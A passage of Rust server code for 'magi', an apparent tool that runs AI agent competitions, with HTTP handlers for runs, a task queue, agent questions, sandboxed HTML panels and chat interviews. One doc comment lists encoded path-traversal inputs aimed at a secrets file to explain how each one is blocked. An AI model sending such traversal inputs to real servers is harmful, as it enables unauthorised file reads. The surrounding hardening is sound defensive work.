1788    let removed = crate::graph::fold_run(&mut state, true)
1789        .await
1790        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
1791    Ok(Json(FoldView {
1792        run: id,
1793        removed_count: removed.len(),
1794        removed,
1795    }))
1796}
1797
1798/// What a fold took away, so the deck can say so rather than only re-render.
1799#[derive(Debug, Serialize)]
1800struct FoldView {
1801    run: String,
1802    /// Worktree paths and branch names removed, in the order they went.
1803    removed: Vec<String>,
1804    removed_count: usize,
1805}
1806
1807/// `POST /api/runs/{id}/resume`.
1808///
1809/// Carry a stalled run on from where it stopped, in the background.
1810///
1811/// A stalled card says "the work is kept" and used to offer no way to act on
1812/// that: the candidates are built and paid for, and continuing means re-asking
1813/// only the seats whose absence collapsed the panel. The alternative an
1814/// operator actually had was releasing the task, which competes three fresh
1815/// implementations against work that already exists.
1816///
1817/// **202, not 200.** A resume runs agents for minutes; holding the connection
1818/// is the mistake `POST /api/chats/{id}/say` already made and had fixed. The
1819/// phone learns the outcome from the change stream.
1820///
1821/// Refused when the loop is running at all, not merely when it is on this run.
1822/// magi runs one competition at a time on purpose — the scarce resource is the
1823/// agent CLIs' quota — and a tap that quietly started a second graph would
1824/// double the burn for no extra throughput.
1825async fn run_resume(
1826    State(ui): State<Arc<Ui>>,
1827    Path(id): Path<String>,
1828) -> ApiResult<(StatusCode, Json<RunSummary>)> {
1829    let (id, state) = {
1830        let ui = Arc::clone(&ui);
1831        blocking(move || {
1832            let id = resolve_run(&ui.runs, &id)?;
1833            let state = read_run(&ui.runs, &id)?;
1834            Ok((id, state))
1835        })
1836        .await?
1837    };
1838    if !state.status.resumable() {
1839        return Err(ApiError::conflict(format!(
1840            "run {} is `{}`, and only a stalled or blocked run can be resumed",
1841            state.short(),
1842            status_word(state.status)
1843        )));
1844    }
1845    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
1846        return Err(ApiError::conflict(format!(
1847            "the loop is running run {} right now; magi runs one competition at \
1848             a time so the agent quota is not spent twice over. Stop the loop \
1849             first.",
1850            crate::run::short_of(&work.run)
1851        )));
1852    }
1853    let _resume = ui.begin_resume(&id)?;
1854
1855    // The same shape the list route returns, so the phone updates the card it
1856    // already has rather than learning a second schema for one button.
1857    let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
1858    let run = id.clone();
1859    tokio::spawn(async move {
1860        let _resume = _resume;
1861        match crate::graph::Runner::resume(&run) {
1862            Ok(mut runner) => {
1863                if let Err(e) = runner.execute().await {
1864                    tracing::warn!("resume of run {run} stopped: {e:#}");
1865                }
1866            }
1867            // The run's own record is what the phone reads; this line is for
1868            // the operator's terminal.
1869            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
1870        }
1871    });
1872    Ok((StatusCode::ACCEPTED, Json(queued)))
1873}
1874
1875async fn run_report(
1876    State(ui): State<Arc<Ui>>,
1877    Path(id): Path<String>,
1878) -> ApiResult<impl IntoResponse> {
1879    let text = blocking(move || {
1880        let id = resolve_run(&ui.runs, &id)?;
1881        // Colour is off for the whole process, set once in `serve`. Rendering
1882        // is CPU work over the full state, which is the other reason this is
1883        // not on the executor.
1884        Ok(report::run(&read_run(&ui.runs, &id)?))
1885    })
1886    .await?;
1887    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
1888}
1889
1890/// A task as the UI sees it.
1891///
1892/// The whole task, plus the two things the client would otherwise have to
1893/// reimplement: the human-readable source and the status string. Nothing is
1894/// removed - the phone shows `last_error` and the run history verbatim.
1895#[derive(Debug, Serialize)]
1896struct TaskView {
1897    #[serde(flatten)]
1898    task: Task,
1899    source_label: String,
1900    status_str: &'static str,
1901    /// The instruction, parsed as markdown, for the Queue card's "Full
1902    /// instruction" panel. `task.instruction` is unchanged and still carries
1903    /// the raw text.
1904    instruction_md: Vec<md::Node>,
1905}
1906
1907impl From<Task> for TaskView {
1908    fn from(task: Task) -> Self {
1909        Self {
1910            source_label: task.source.label(),
1911            status_str: task.status.as_str(),
1912            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
1913            task,
1914        }
1915    }
1916}
1917
1918/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
1919/// its absence, leaves the cache to decide.
1920#[derive(Debug, Default, Deserialize)]
1921#[serde(default)]
1922struct ReposQuery {
1923    refresh: u8,
1924}
1925
1926/// `GET /api/repos` - the repository picker for the plan surface's "start a
1927/// conversation" panel and its "continue in another repository" action.
1928///
1929/// Reads `[repos] roots` and `[repos] scan_ttl` off the same config the rest
1930/// of the plan surface uses, discovered against `ui.repo` so an edit to
1931/// `magi.toml` takes effect without a restart, the same reasoning
1932/// [`config_for`] documents for the chat routes.
1933async fn repos_list(
1934    State(ui): State<Arc<Ui>>,
1935    Query(q): Query<ReposQuery>,
1936) -> ApiResult<Json<Vec<repos::Repo>>> {
1937    let refresh = q.refresh != 0;
1938    blocking(move || {
1939        let (cfg, _) = Config::discover(&ui.repo, None)?;
1940        Ok(Json(ui.repos_cache.list(
1941            &cfg.repos.roots,
1942            Duration::from_secs(cfg.repos.scan_ttl),
1943            refresh,
1944        )))
1945    })
1946    .await
1947}
1948
1949async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
1950    blocking(move || {
1951        Ok(Json(
1952            ui.queue.list().into_iter().map(TaskView::from).collect(),
1953        ))
1954    })
1955    .await
1956}
1957
1958/// The body of `POST /api/queue`.
1959///
1960/// Every field defaults so the phone can send only what the operator typed,
1961/// and unknown fields are ignored so a newer front end talking to an older
1962/// binary still files the task.
1963#[derive(Debug, Default, Deserialize)]
1964#[serde(default)]
1965struct NewTask {
1966    instruction: String,
1967    title: Option<String>,
1968    repo: Option<PathBuf>,
1969    priority: Option<i32>,
1970}
1971
1972async fn queue_post(
1973    State(ui): State<Arc<Ui>>,
1974    body: std::result::Result<Json<NewTask>, JsonRejection>,
1975) -> ApiResult<impl IntoResponse> {
1976    // Taken as a `Result` so a malformed body is the 400 the contract promises
1977    // rather than axum's default 422, which the UI has no branch for.
1978    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1979    if body.instruction.trim().is_empty() {
1980        return Err(ApiError::bad_request(
1981            "instruction must not be blank: an empty task would burn a whole \
1982             competition on nothing",
1983        ));
1984    }
1985    let view = blocking(move || {
1986        let title = body
1987            .title
1988            .filter(|t| !t.trim().is_empty())
1989            .unwrap_or_else(|| title_from(&body.instruction, TITLE_MAX));
1990        let repo = body.repo.unwrap_or_else(|| ui.repo.clone());
1991        let mut task = Task::new(title, body.instruction, repo, Source::Human);
1992        task.priority = body.priority.unwrap_or(0);
1993        ui.queue.put(&mut task)?;
1994        Ok(TaskView::from(task))
1995    })
1996    .await?;
1997    Ok((StatusCode::CREATED, Json(view)))
1998}
1999
2000async fn queue_hold(
2001    State(ui): State<Arc<Ui>>,
2002    Path(id): Path<String>,
2003) -> ApiResult<Json<TaskView>> {
2004    mutate(ui, id, Task::hold).await
2005}
2006
2007async fn queue_release(
2008    State(ui): State<Arc<Ui>>,
2009    Path(id): Path<String>,
2010) -> ApiResult<Json<TaskView>> {
2011    mutate(ui, id, Task::release).await
2012}
2013
2014/// `DELETE /api/queue/{id}`.
2015///
2016/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
2017/// names this task: a `running` status or an orphaned `.lock` left behind by a
2018/// killed daemon is a leftover, and treating either as authority made the
2019/// task undeletable from the phone for good. The associated runs, if any, are
2020/// kept: a run is self-contained history and not an appendage of the task.
2021async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2022    blocking(move || {
2023        let id = resolve_task(&ui.queue, &id)?;
2024        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2025        ui.queue
2026            .remove(&id, in_flight)
2027            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2028        Ok(StatusCode::NO_CONTENT)
2029    })
2030    .await
2031}
2032
2033/// Read a task, change it, write it back, under the queue's own lock.
2034///
2035/// Taking the same claim a daemon takes is what makes hold and release safe to
2036/// press while magi is running: without it the daemon's next save would land
2037/// on top of the operator's hold and the task would keep going.
2038async fn mutate(ui: Arc<Ui>, id: String, change: fn(&mut Task)) -> ApiResult<Json<TaskView>> {
2039    blocking(move || {
2040        let id = resolve_task(&ui.queue, &id)?;
2041        // `claim` fails when the lock file already exists, which is the
2042        // conflict the UI must report: the daemon owns that task's file for
2043        // as long as it is running it, and our write would be lost under its
2044        // next save. The message names the lock either way.
2045        let _claim = ui.queue.claim(&id).map_err(|e| {
2046            ApiError::conflict(format!(
2047                "{e:#} - a daemon is running this task, so it cannot be \
2048                 changed from here yet"
2049            ))
2050        })?;
2051        let mut task = ui.queue.get(&id)?;
2052        change(&mut task);
2053        ui.queue.put(&mut task)?;
2054        Ok(Json(TaskView::from(task)))
2055    })
2056    .await
2057}
2058
2059/// The change stream: one revision number per store, on connect and whenever
2060/// any of them moves.
2061///
2062/// The poll runs in one spawned task per client, which is affordable because
2063/// the work is a directory scan and a `stat` per file. It stops as soon as the
2064/// receiver is gone, so a phone that walks out of range costs nothing after
2065/// its next tick - there is no session and no cleanup to forget.
2066async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2067    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2068    tokio::spawn(async move {
2069        let mut ticker = tokio::time::interval(POLL);
2070        let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2071        loop {
2072            // The first tick completes immediately, which is what makes the
2073            // stream announce the current revisions on connect.
2074            ticker.tick().await;
2075            let state = Arc::clone(&ui);
2076            let revisions = tokio::task::spawn_blocking(move || {
2077                (
2078                    state.queue.revision(),
2079                    runs_revision(&state.runs),
2080                    state.questions.revision(),
2081                    state.chats.revision(),
2082                    // The loop's counter is in-process state rather than a
2083                    // file, so nothing the three stats above look at would
2084                    // tell this phone that another one started the loop.
2085                    state.lock_loop().rev,
2086                )
2087            })
2088            .await;
2089            let Ok(revisions) = revisions else { break };
2090            if last == Some(revisions) {
2091                continue;
2092            }
2093            last = Some(revisions);
2094            let payload = serde_json::json!({
2095                "queue_rev": revisions.0,
2096                "runs_rev": revisions.1,
2097                "questions_rev": revisions.2,
2098                "chats_rev": revisions.3,
2099                "loop_rev": revisions.4,
2100            });
2101            // Serializing five integers cannot fail; giving up beats looping.
2102            let Ok(event) = Event::default().event("change").json_data(payload) else {
2103                break;
2104            };
2105            if tx.send(event).await.is_err() {
2106                break;
2107            }
2108        }
2109    });
2110    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2111        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2112}
2113
2114/// Change detection token for recorded runs under `runs`.
2115///
2116/// Combines the id and `run.json` modification time of each run, so adding,
2117/// updating, or deleting any run — even an older one — moves the revision and
2118/// notifies connected clients via the change stream. Returns 0 when no runs
2119/// exist.
2120fn runs_revision(runs: &FsPath) -> u64 {
2121    use std::hash::{Hash as _, Hasher as _};
2122
2123    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2124        .into_iter()
2125        .flatten()
2126        .flatten()
2127        .filter_map(|e| {
2128            let path = e.path().join("run.json");
2129            let mtime = path
2130                .metadata()
2131                .ok()?
2132                .modified()
2133                .ok()?
2134                .duration_since(std::time::UNIX_EPOCH)
2135                .ok()?
2136                .as_millis() as u64;
2137            let id = e.file_name().to_string_lossy().into_owned();
2138            Some((id, mtime))
2139        })
2140        .collect();
2141
2142    if entries.is_empty() {
2143        return 0;
2144    }
2145
2146    entries.sort_unstable();
2147    let mut hasher = std::hash::DefaultHasher::new();
2148    for (id, mtime) in &entries {
2149        id.hash(&mut hasher);
2150        mtime.hash(&mut hasher);
2151    }
2152    let h = hasher.finish();
2153    if h == 0 { 1 } else { h }
2154}
2155
2156/// Run ids under `runs`, newest first.
2157///
2158/// Rooted at an explicit directory rather than calling [`run::list_ids`],
2159/// which reads the process-global home: the server has to be drivable against
2160/// a temp directory for any of this to be testable.
2161fn run_ids(runs: &FsPath) -> Vec<String> {
2162    let mut ids: Vec<String> = std::fs::read_dir(runs)
2163        .into_iter()
2164        .flatten()
2165        .flatten()
2166        .filter(|e| e.path().join("run.json").is_file())
2167        .map(|e| e.file_name().to_string_lossy().into_owned())
2168        .collect();
2169    // Ids start with a sortable timestamp.
2170    ids.sort_unstable_by(|a, b| b.cmp(a));
2171    ids
2172}
2173
2174/// Read one run's state from an explicit runs root.
2175fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2176    let path = runs.join(id).join("run.json");
2177    let body =
2178        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2179    let state: RunState =
2180        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2181    if state.schema != run::SCHEMA {
2182        anyhow::bail!(
2183            "run {} was written by a different magi (schema {}, this build speaks {})",
2184            state.id,
2185            state.schema,
2186            run::SCHEMA
2187        );
2188    }
2189    Ok(state)
2190}
2191
2192/// Runs on disk under `runs` whose state this build cannot parse - almost
2193/// always a schema bump, occasionally a run killed mid-write.
2194///
2195/// Exposed so every surface that reports on runs shares one count instead of
2196/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
2197/// `magi doctor` calls this directly rather than guessing at the same number
2198/// a second way.
2199#[must_use]
2200pub fn runs_unreadable(runs: &FsPath) -> usize {
2201    run_ids(runs)
2202        .into_iter()
2203        .filter(|id| read_run(runs, id).is_err())
2204        .count()
2205}
2206
2207/// Expand an id or short id to exactly one run id.
2208fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2209    if runs.join(id).join("run.json").is_file() {
2210        return Ok(id.to_owned());
2211    }
2212    pick(run_ids(runs), id, "run")
2213}
2214
2215/// Expand an id or short id to exactly one task id.
2216fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2217    if queue.path_of(id).is_file() {
2218        return Ok(id.to_owned());
2219    }
2220    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2221}
2222
2223/// A question as the phone reads it.
2224///
2225/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
2226/// text already parsed into a node tree so the client never runs its own
2227/// markdown reader over agent-authored prose. A relative image path in it
2228/// resolves against this question's own panel asset route, which is the one
2229/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
2230/// separate, sandboxed document, but `detail` is rendered inline in the
2231/// operator's own page, so an image reference in it may only ever point at
2232/// files magi itself already serves for this question.
2233#[derive(Debug, Serialize)]
2234struct QuestionView {
2235    #[serde(flatten)]
2236    question: Question,
2237    detail_md: Vec<md::Node>,
2238}
2239
2240impl From<Question> for QuestionView {
2241    fn from(question: Question) -> Self {
2242        let base = md::ImageBase::QuestionPanel {
2243            id: question.id.clone(),
2244        };
2245        Self {
2246            detail_md: md::to_nodes(&question.detail, &base),
2247            question,
2248        }
2249    }
2250}
2251
2252/// `GET /api/questions`.
2253///
2254/// Everything, not just the open ones: an answered question is the record of a
2255/// decision, and the phone is where the operator goes back to check what they
2256/// told an agent at 3am. `ask::Questions::list` already ranks open first.
2257async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2258    blocking(move || {
2259        Ok(Json(
2260            ui.questions
2261                .list()
2262                .into_iter()
2263                .map(QuestionView::from)
2264                .collect(),
2265        ))
2266    })
2267    .await
2268}
2269
2270/// The body of `POST /api/questions/{id}/answer`.
2271///
2272/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
2273/// a bad request rather than a guess: an answer magi invented is worse than a
2274/// question left open.
2275#[derive(Debug, Default, Deserialize)]
2276#[serde(default, deny_unknown_fields)]
2277struct NewAnswer {
2278    choice: Option<String>,
2279    text: Option<String>,
2280}
2281
2282async fn question_answer(
2283    State(ui): State<Arc<Ui>>,
2284    Path(id): Path<String>,
2285    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2286) -> ApiResult<Json<QuestionView>> {
2287    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2288    let answer = match (body.choice, body.text) {
2289        (Some(c), None) => Answer::Choice(c),
2290        (None, Some(t)) => Answer::Text(t),
2291        (Some(_), Some(_)) => {
2292            return Err(ApiError::bad_request(
2293                "send either `choice` or `text`, not both",
2294            ));
2295        }
2296        (None, None) => {
2297            return Err(ApiError::bad_request("send a `choice` or a `text`"));
2298        }
2299    };
2300
2301    blocking(move || {
2302        let id = resolve_question(&ui.questions, &id)?;
2303        let mut q = ui
2304            .questions
2305            .get(&id)
2306            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2307        if !q.status.open() {
2308            // Answered from the terminal, or by another phone, in between the
2309            // list and the tap. The UI shows the recorded answer rather than an
2310            // error, so it needs the record, not just the status.
2311            return Err(ApiError::conflict(format!(
2312                "question {} is already {}",
2313                q.short(),
2314                q.status.as_str()
2315            )));
2316        }
2317        // `Question::answer` owns the rules - an unoffered choice, free text on
2318        // a multiple-choice question, an empty reply - so the route does not
2319        // restate them and cannot drift from the CLI's behaviour.
2320        q.answer(answer).map_err(ApiError::bad_request_from)?;
2321        ui.questions.put(&mut q)?;
2322        Ok(Json(QuestionView::from(q)))
2323    })
2324    .await
2325}
2326
2327/// Expand an id or short id to exactly one question id.
2328fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2329    if store.path_of(id).is_file() {
2330        return Ok(id.to_owned());
2331    }
2332    pick(
2333        store.list().into_iter().map(|q| q.id).collect(),
2334        id,
2335        "question",
2336    )
2337}
2338
2339/// `GET /api/questions/{id}/panel`.
2340///
2341/// The panel an agent wrote for this question, as `text/html` under
2342/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
2343/// A question without one is a 404 rather than an empty page: the client
2344/// preflights this route with `HEAD` and must be able to tell "no panel" from
2345/// "a panel that rendered blank", and a sandboxed frame is opaque to the
2346/// parent document so it cannot tell the difference by looking.
2347///
2348/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
2349/// sanitises or minifies it - a sanitiser is a list of things someone thought
2350/// of, and the sandbox plus the CSP is a list of things that are allowed, which
2351/// is the direction that stays safe when an agent writes markup nobody
2352/// predicted.
2353async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2354    blocking(move || {
2355        let id = resolve_question(&ui.questions, &id)?;
2356        let Some(html) = ui.questions.panel_html(&id) else {
2357            return Err(ApiError::not_found(format!("question {id} has no panel")));
2358        };
2359        Ok(panel_response(
2360            "text/html; charset=utf-8",
2361            false,
2362            html.into_bytes(),
2363        ))
2364    })
2365    .await
2366}
2367
2368/// `GET /api/questions/{id}/asset/{name}`.
2369///
2370/// One file from the question's own panel directory, so a panel can show a
2371/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
2372/// having to allow anything off this machine.
2373///
2374/// This is the only route in the server where a client names a file, so it is
2375/// the only one with a traversal surface, and the name is checked by
2376/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
2377/// what is worth being explicit about, because the answer is not "all of it in
2378/// one place":
2379///
2380/// * `asset/../../secrets` never reaches this handler at all. axum matches on
2381///   the raw request path and `{name}` spans exactly one segment, so a real
2382///   slash makes the request too long for the route and the router answers 404.
2383/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
2384///   percent-decodes path parameters, so `name` arrives as `../secrets` and
2385///   `..\secrets` respectively, which look like plain filenames to the router.
2386///   The validator refuses them here - both for the literal `..` and because
2387///   `/` and `\` are not in the permitted character set - and answers 400.
2388/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
2389///   the platform's path API is not, and it is refused here for the same
2390///   reason: NUL is not a permitted character.
2391/// * [`Questions::panel_asset`] validates again on read, so the check is not
2392///   load-bearing in only one place. This route's own check exists so the
2393///   failure is a 400 that says which name was wrong, rather than a store error
2394///   the operator has to interpret.
2395async fn question_asset(
2396    State(ui): State<Arc<Ui>>,
2397    Path((id, name)): Path<(String, String)>,
2398) -> ApiResult<Response> {
2399    // Before any filesystem work and before any path is built: a name this
2400    // server will not serve should not become a `PathBuf` at all.
2401    if !crate::ask::valid_asset_name(&name) {
2402        return Err(ApiError::bad_request(format!(
2403            "`{name}` is not a usable asset name"
2404        )));
2405    }
2406    blocking(move || {
2407        let id = resolve_question(&ui.questions, &id)?;
2408        let asset = ui
2409            .questions
2410            .panel_asset(&id, &name)
2411            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2412        let Some(bytes) = asset else {
2413            return Err(ApiError::not_found(format!(
2414                "question {id} has no asset `{name}`"
2415            )));
2416        };
2417        Ok(panel_response(
2418            asset_content_type(&name),
2419            is_svg(&name),
2420            bytes,
2421        ))
2422    })
2423    .await
2424}
2425
2426/// Content type for a panel asset, from a closed whitelist.
2427///
2428/// A whitelist with an `application/octet-stream` fallback rather than a
2429/// guess, because the one answer that must never come out of here is
2430/// `text/html`. An agent that writes `notes.html` into its panel directory and
2431/// links it would otherwise get its own markup rendered at the top level of the
2432/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
2433/// magi's origin - which is precisely the thing the panel design exists to
2434/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
2435///
2436/// `nosniff` accompanies this on every response, so a browser cannot decide it
2437/// knows better than the type we sent.
2438fn asset_content_type(name: &str) -> &'static str {
2439    match extension(name).as_deref() {
2440        Some("png") => "image/png",
2441        Some("jpg" | "jpeg") => "image/jpeg",
2442        Some("gif") => "image/gif",
2443        Some("webp") => "image/webp",
2444        Some("svg") => "image/svg+xml",
2445        Some("css") => "text/css; charset=utf-8",
2446        Some("txt") => "text/plain; charset=utf-8",
2447        _ => "application/octet-stream",
2448    }
2449}
2450
2451/// Is this an SVG, and therefore a file that must never be opened at the top
2452/// level?
2453fn is_svg(name: &str) -> bool {
2454    extension(name).as_deref() == Some("svg")
2455}
2456
2457/// Lowercased extension, or `None` for a name without one.
2458fn extension(name: &str) -> Option<String> {
2459    name.rsplit_once('.')
2460        .map(|(_, ext)| ext.to_ascii_lowercase())
2461}
2462
2463/// Every panel response, with the four headers that make it safe and, for an
2464/// SVG, a fifth.
2465///
2466/// One function rather than a header list per handler, because a panel route
2467/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
2468/// model gone, silently, on one of two routes. Adding a third panel route later
2469/// means calling this, and there is nowhere else to build a panel response.
2470///
2471/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
2472/// as an `<img src>` inside the panel that script cannot run - but the asset
2473/// URL is also a plain URL an operator can be talked into opening in a tab,
2474/// where it is a document on magi's own origin. `Content-Disposition:
2475/// attachment` makes the browser download it instead of rendering it, which
2476/// closes that door without taking away the ability to draw a diff. Raster
2477/// images have no such execution surface and are left inline, so tapping a
2478/// screenshot still shows it.
2479fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2480    let mut res = (
2481        [
2482            (header::CONTENT_TYPE, content_type),
2483            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2484            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2485            (header::REFERRER_POLICY, "no-referrer"),
2486        ],
2487        body,
2488    )
2489        .into_response();
2490    if download {
2491        res.headers_mut().insert(
2492            header::CONTENT_DISPOSITION,
2493            HeaderValue::from_static("attachment"),
2494        );
2495    }
2496    res
2497}
2498
2499/// A chat as the phone reads it.
2500///
2501/// Every field of [`Chat`] verbatim, plus the two things `app.js` would
2502/// otherwise have to parse itself: `turn_bodies_md`, one markdown node tree
2503/// per entry of `turns` in the same order, and `draft_md`, the parsed form of
2504/// `draft` when there is one. `turns` and `draft` are untouched - a client
2505/// reading the exact bytes a chat turn holds, or the exact bytes that would
2506/// be filed as a task, still can.
2507#[derive(Debug, Serialize)]
2508struct ChatView {
2509    #[serde(flatten)]
2510    chat: Chat,
2511    turn_bodies_md: Vec<Vec<md::Node>>,
2512    draft_md: Option<Vec<md::Node>>,
2513}
2514
2515impl From<Chat> for ChatView {
2516    fn from(chat: Chat) -> Self {
2517        let turn_bodies_md = chat
2518            .turns
2519            .iter()
2520            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2521            .collect();
2522        let draft_md = chat
2523            .draft
2524            .as_deref()
2525            .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2526        Self {
2527            turn_bodies_md,
2528            draft_md,
2529            chat,
2530        }
2531    }
2532}
2533
2534/// `GET /api/chats`.
2535///
2536/// Every interview, open ones first and newest first, which is
2537/// [`Chats::list`]'s own order. The whole record including the transcript: a
2538/// conversation is a few kilobytes, the phone renders it directly, and a
2539/// summary here would mean a second round trip to read the only thing a chat
2540/// is made of.
2541async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2542    blocking(move || {
2543        Ok(Json(
2544            ui.chats.list().into_iter().map(ChatView::from).collect(),
2545        ))
2546    })
2547    .await
2548}
2549
2550async fn chat_detail(
2551    State(ui): State<Arc<Ui>>,
2552    Path(id): Path<String>,
2553) -> ApiResult<Json<ChatView>> {
2554    blocking(move || {
2555        let id = resolve_chat(&ui.chats, &id)?;
2556        Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2557    })
2558    .await
2559}
2560
2561/// The body of `POST /api/chats`.
2562///
2563/// `agent` names a seat from the roster to do the interviewing; absent means
2564/// the configured default, which is what the phone sends. `repo` is a path,
2565/// not a short name - resolving `owner/repo` against `[repos] roots` is the
2566/// job of whatever built the picker the operator chose from, i.e.
2567/// `GET /api/repos`, so this route only ever has to trust a path. `from`
2568/// derives this conversation from an existing one - see [`chat::start`].
2569/// Unknown fields are ignored so a newer front end still starts an interview
2570/// against an older binary.
2571#[derive(Debug, Default, Deserialize)]
2572#[serde(default)]
2573struct NewChat {
2574    idea: String,
2575    agent: Option<String>,
2576    repo: Option<PathBuf>,
2577    from: Option<String>,
2578}
2579
2580/// `POST /api/chats`.
2581///
2582/// Starting an interview runs the first agent turn, so this is as slow as
2583/// [`chat_say`] and is async for the same reason. There is no turn guard yet
2584/// because there is no chat yet: the id does not exist until [`chat::start`]
2585/// returns, so two taps produce two separate interviews rather than two turns
2586/// in one. Two interviews are recoverable - abandon one - where two interleaved
2587/// turns are not.
2588async fn chat_post(
2589    State(ui): State<Arc<Ui>>,
2590    body: std::result::Result<Json<NewChat>, JsonRejection>,
2591) -> ApiResult<impl IntoResponse> {
2592    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2593    if body.idea.trim().is_empty() {
2594        return Err(ApiError::bad_request(
2595            "an interview needs something to interview about",
2596        ));
2597    }
2598
2599    // Resolved before the agent runs, so a bad `from` id is a 4xx that names
2600    // it rather than a wasted agent turn against a conversation that does not
2601    // exist.
2602    let from = {
2603        let ui = Arc::clone(&ui);
2604        let from_id = body.from.clone();
2605        blocking(move || match from_id {
2606            None => Ok(None),
2607            Some(id) => {
2608                let resolved = resolve_chat(&ui.chats, &id)?;
2609                Ok(Some(ui.chats.get(&resolved)?))
2610            }
2611        })
2612        .await?
2613    };
2614
2615    // Read the configuration for this request rather than at startup, so an
2616    // edit to `magi.toml` - a new seat, a different interviewer - takes effect
2617    // without restarting the server the operator reaches from their phone.
2618    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
2619    let cfg = config_for(&repo).await?;
2620    let chat = chat::start(
2621        &ui.chats,
2622        &cfg,
2623        repo,
2624        &body.idea,
2625        body.agent.as_deref(),
2626        from.as_ref(),
2627    )
2628    .await
2629    .map_err(ApiError::from)?;
2630    Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
2631}
2632
2633/// The body of `POST /api/chats/{id}/say`.
2634#[derive(Debug, Default, Deserialize)]
2635#[serde(default, deny_unknown_fields)]
2636struct NewTurn {
2637    text: String,
2638}
2639
2640/// `POST /api/chats/{id}/say` - one turn of the interview.
2641///
2642/// The one handler here that is not filesystem work, and therefore the one
2643/// that must not go through [`blocking`]: it spawns an agent CLI and waits tens
2644/// of seconds for a paragraph. Sitting on an executor thread for that long
2645/// would starve the change stream of every other connected phone, which is the
2646/// opposite of what `blocking` is for. It holds no lock across the `await`
2647/// either - the turn slot is a set membership, not a mutex guard - so nothing
2648/// else in the server is delayed by a slow interview.
2649///
2650/// What the operator sees while it runs: a request outstanding for the whole
2651/// turn, with no partial output, because the agent CLIs magi drives return one
2652/// answer at the end rather than a stream. On a phone that means the composer
2653/// stays pending for up to the seat's timeout. There is deliberately no
2654/// progress channel to invent one from; the SSE `chats_rev` bump is the signal
2655/// that the turn landed, and it fires from the file `chat::say` wrote, so a
2656/// phone whose radio slept through the reply still learns about it.
2657///
2658/// A failed turn is still a turn. [`chat::say`] records the operator's message
2659/// and an agent turn explaining the failure before it returns an error, so this
2660/// answers 200 with the conversation: that recorded explanation is the thing
2661/// the operator needs to read, and a 5xx would make the front end show a
2662/// generic banner and hide it. The guard against that being a lie is the turn
2663/// count - if the transcript did not grow, nothing happened and the error is
2664/// reported as one.
2665async fn chat_say(
2666    State(ui): State<Arc<Ui>>,
2667    Path(id): Path<String>,
2668    body: std::result::Result<Json<NewTurn>, JsonRejection>,
2669) -> ApiResult<(StatusCode, Json<ChatView>)> {
2670    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2671    if body.text.trim().is_empty() {
2672        return Err(ApiError::bad_request("say something"));
2673    }
2674
2675    let id = {
2676        let ui = Arc::clone(&ui);
2677        let asked = id.clone();
2678        blocking(move || resolve_chat(&ui.chats, &asked)).await?
2679    };
2680    // Claimed before the chat is loaded, so the record this turn appends to was
2681    // read after the claim and cannot be a snapshot another turn has since
2682    // replaced.
2683    let _turn = ui.begin_turn(&id)?;
